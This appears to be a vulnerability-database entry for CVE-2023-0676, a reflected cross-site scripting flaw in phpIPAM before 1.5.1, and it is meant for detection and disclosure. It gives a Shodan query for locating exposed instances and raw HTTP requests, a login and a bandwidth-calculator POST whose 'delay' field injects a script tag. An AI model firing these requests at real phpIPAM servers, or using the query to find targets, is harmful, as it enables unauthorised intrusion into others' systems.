🔙 목록으로 돌아가기

CVE-2023-0676: phpIPAM 1.5.1 - Cross-site Scripting

TitlephpIPAM 1.5.1 - Cross-site Scripting
Authorritikchaddha
SeverityMedium
ImpactAllows attackers to execute malicious scripts in the context of a user's browser session.
RemediationUpdate phpipam/phpipam to the latest version to patch the vulnerability.
CVSS Score6.1
EPSS Score0.00394
CVE IDCVE-2023-0676
CWE IDCWE-79
Shodan Queryhtml:"phpIPAM IP address management"
Tags cve cve2023 phpipam xss authenticated vuln

🔍 Vulnerability Description

Cross-site Scripting (XSS) - Reflected in GitHub repository phpipam/phpipam prior to 1.5.1.

🌐 HTTP Request

POST /app/login/login_check.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

ipamusername=b1SHl8&ipampassword=5kgKHy

POST /app/tools/ip-calculator/bw-calculator-result.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 68
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.victim.com/phpipam/index.php?page=tools&section=ip-calculator&subnetId=bw-calculator
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

wsize=50000&delay=<script>alert(document.domain)</script>&fsize=1024

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0676.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-0676.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A